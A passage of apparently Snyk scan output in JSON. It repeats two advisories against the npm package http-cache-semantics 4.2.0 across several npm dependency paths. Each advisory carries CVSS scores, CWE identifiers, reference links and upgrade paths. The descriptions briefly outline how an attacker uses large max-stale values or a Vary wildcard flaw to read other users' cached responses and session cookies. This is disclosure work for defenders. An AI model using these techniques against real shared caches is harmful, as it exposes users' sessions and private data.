"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmteam@7.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmteam@7.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"npm-profile@11.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"npm-profile@11.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@12.0.0",
"@sigstore/tuf@5.0.0",
"tuf-js@6.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
